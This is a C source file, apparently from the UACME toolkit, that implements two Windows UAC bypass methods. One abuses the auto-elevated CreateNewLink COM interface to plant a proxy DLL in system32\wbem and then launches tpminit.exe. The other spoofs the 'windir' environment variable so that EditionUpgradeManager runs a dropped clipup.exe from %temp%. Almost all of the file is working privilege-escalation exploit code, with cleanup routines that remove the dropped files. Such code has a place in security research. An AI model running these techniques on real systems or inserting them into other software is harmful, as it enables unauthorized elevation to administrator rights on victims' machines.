UACME/Source/Akagi/methods/rinn.c

316 lines
8.1 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2018 - 2019
*
* TITLE: RINN.C
*
* VERSION: 3.20
*
* DATE: 24 Oct 2019
*
* rinn & hfiref0x UAC bypass methods.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
/*
* ucmCreateNewLinkMethodCleanup
*
* Purpose:
*
* Post execution cleanup routine for CreateNewLinkMethod.
*
*/
BOOL ucmCreateNewLinkMethodCleanup(
VOID
)
{
WCHAR szBuffer[MAX_PATH * 2];
_strcpy(szBuffer, g_ctx->szSystemDirectory);
_strcat(szBuffer, WBEM_DIR);
_strcat(szBuffer, WBEMCOMN_DLL);
return ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
}
/*
* ucmEditionUpgradeManagerMethodCleanup
*
* Purpose:
*
* Post execution cleanup routine for EditionUpgradeManagerMethod.
*
*/
BOOL ucmEditionUpgradeManagerMethodCleanup(
VOID
)
{
WCHAR szBuffer[MAX_PATH * 2];
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, T_KUREND);
_strcat(szBuffer, SYSTEM32_DIR);
_strcat(szBuffer, CLIPUP_EXE);
return DeleteFile(szBuffer);
}
/*
* ucmCreateNewLinkMethod
*
* Purpose:
*
* Bypass UAC using CreateNewLink autoelevated interface.
* This function expects that supMasqueradeProcess was called on process initialization.
*
* The CreateNewLink interface has method named "CreateNewLink" (MS tautology),
* where part of it implementation is CopyFileW(InputParam.Source, InputParam.Dest, 0);
* Since this code runs elevated it can be used to write data to the protected
* Windows directories such as system32. Availability: Windows 7, Windows 8, Windows 8.1.
*
* More checking added in Windows 10 interface code (file exts, file attribute flags). This may
* compilicate it epxloitation on Windows 10 prior to RS1.
*
* In RS1 and afterwards this interface is not in consent whitelist (COMAutoApprovalList).
* Because TH1 and TH2 are both EOL'ed at moment of discovery this method marked as fixed in RS1.
*
* Fixed in Windows 10 RS1
*
*/
NTSTATUS ucmCreateNewLinkMethod(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
#ifndef _WIN64
NTSTATUS Status;
#endif
HRESULT hr = E_UNEXPECTED, hr_init;
ICreateNewLink *CreateNewLink = NULL;
CREATELINKDATA LinkData;
SIZE_T l;
WCHAR szDllPath[MAX_PATH * 2], szTargetPath[MAX_PATH * 2];
#ifndef _WIN64
if (g_ctx->IsWow64) {
Status = supEnableDisableWow64Redirection(TRUE);
if (!NT_SUCCESS(Status))
return Status;
}
#endif
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
do {
_strcpy(szDllPath, g_ctx->szTempDirectory);
_strcat(szDllPath, WBEMCOMN_DLL);
l = _strlen(szDllPath);
if (l > MAX_PATH) { //CreateNewLink parameters length limited to MAX_PATH
MethodResult = STATUS_DATA_ERROR;
break;
}
_strcpy(szTargetPath, g_ctx->szSystemDirectory);
_strcat(szTargetPath, WBEM_DIR);
_strcat(szTargetPath, WBEMCOMN_DLL);
l = _strlen(szTargetPath);
if (l > MAX_PATH) //CreateNewLink parameters length limited to MAX_PATH
break;
hr = ucmAllocateElevatedObject(
T_CLSID_CreateNewLink,
&IID_ICreateNewLink,
CLSCTX_LOCAL_SERVER,
&CreateNewLink);
if (hr != S_OK)
break;
if (CreateNewLink == NULL) {
hr = E_OUTOFMEMORY;
break;
}
//
// Drop Fubuki as wbemcomn.dll to %temp%.
//
if (supWriteBufferToFile(szDllPath, ProxyDll, ProxyDllSize)) {
RtlSecureZeroMemory(&LinkData, sizeof(LinkData));
LinkData.dwFlags = 0x200;
_strcpy(LinkData.szExeName, szDllPath);
_strcpy(LinkData.szLinkName, szTargetPath);
hr = CreateNewLink->lpVtbl->CreateNewLink(CreateNewLink, &LinkData, 0);
if (SUCCEEDED(hr)) {
_strcpy(szTargetPath, g_ctx->szSystemDirectory);
_strcat(szTargetPath, TPMINIT_EXE);
//
// Run target and wait.
//
if (supRunProcess(szTargetPath, NULL))
MethodResult = STATUS_SUCCESS;
}
DeleteFile(szDllPath); //remove temp file.
}
} while (FALSE);
if (CreateNewLink)
CreateNewLink->lpVtbl->Release(CreateNewLink);
#ifndef _WIN64
if (g_ctx->IsWow64) {
supEnableDisableWow64Redirection(FALSE);
}
#endif
if (hr_init == S_OK)
CoUninitialize();
return MethodResult;
}
/*
* ucmCreateNewLinkMethod
*
* Purpose:
*
* Bypass UAC using EditionUpgradeManager autoelevated interface.
* This function expects that supMasqueradeProcess was called on process initialization.
*
* EditionUpgradeManager has method called AcquireModernLicenseWithPreviousId.
* During it execution MS code starts Clipup.exe process from (what it suppose) windows system32 folder.
* However since MS programmers always lazy and banned in their own documentation it uses
* environment variable "windir" to expand Windows directory instead of using something like GetSystemDirectory.
* This giving us opportunity (hello Nadela) to spoof current user environment variable for requested DllHost.exe
* thus turning their code launch our clipup.exe from our controlled location.
*
*/
NTSTATUS ucmEditionUpgradeManagerMethod(
_In_ PVOID ProxyDll,
_In_ DWORD ProxyDllSize
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
BOOL bEnvSet = FALSE;
HRESULT hr = E_UNEXPECTED, hr_init;
IEditionUpgradeManager *Manager = NULL;
DWORD Data[3];
WCHAR szBuffer[MAX_PATH * 2];
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
do {
//
// Replace default Fubuki dll entry point with new and remove dll flag.
//
if (!supReplaceDllEntryPoint(
ProxyDll,
ProxyDllSize,
FUBUKI_DEFAULT_ENTRYPOINT,
TRUE))
{
break;
}
//
// Create %temp%\KureND directory.
//
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
_strcpy(szBuffer, g_ctx->szTempDirectory);
_strcat(szBuffer, T_KUREND);
if (!CreateDirectory(szBuffer, NULL))
if (GetLastError() != ERROR_ALREADY_EXISTS)
break;
//
// Set controlled environment variable.
//
bEnvSet = supSetEnvVariable(FALSE,
NULL,
T_WINDIR,
szBuffer);
if (!bEnvSet)
break;
//
// Create %temp%\KureND\system32 directory.
//
_strcat(szBuffer, SYSTEM32_DIR);
if (!CreateDirectory(szBuffer, NULL))
if (GetLastError() != ERROR_ALREADY_EXISTS)
break;
//
// Drop payload to %temp%\system32 as clipup.exe and run target interface.
//
_strcat(szBuffer, CLIPUP_EXE);
if (supWriteBufferToFile(szBuffer, ProxyDll, ProxyDllSize)) {
hr = ucmAllocateElevatedObject(T_CLSID_EditionUpgradeManager,
&IID_EditionUpgradeManager,
CLSCTX_LOCAL_SERVER,
&Manager);
if (hr != S_OK)
break;
if (Manager == NULL) {
hr = E_OUTOFMEMORY;
break;
}
Data[0] = 'f';
Data[1] = 'f';
Data[2] = 0;
Manager->lpVtbl->AcquireModernLicenseWithPreviousId(Manager, MYSTERIOUSCUTETHING, (DWORD*)&Data);
}
} while (FALSE);
if (Manager)
Manager->lpVtbl->Release(Manager);
//
// Cleanup if requested.
//
if (bEnvSet)
supSetEnvVariable(TRUE, NULL, T_WINDIR, NULL);
if (hr_init == S_OK)
CoUninitialize();
return MethodResult;
}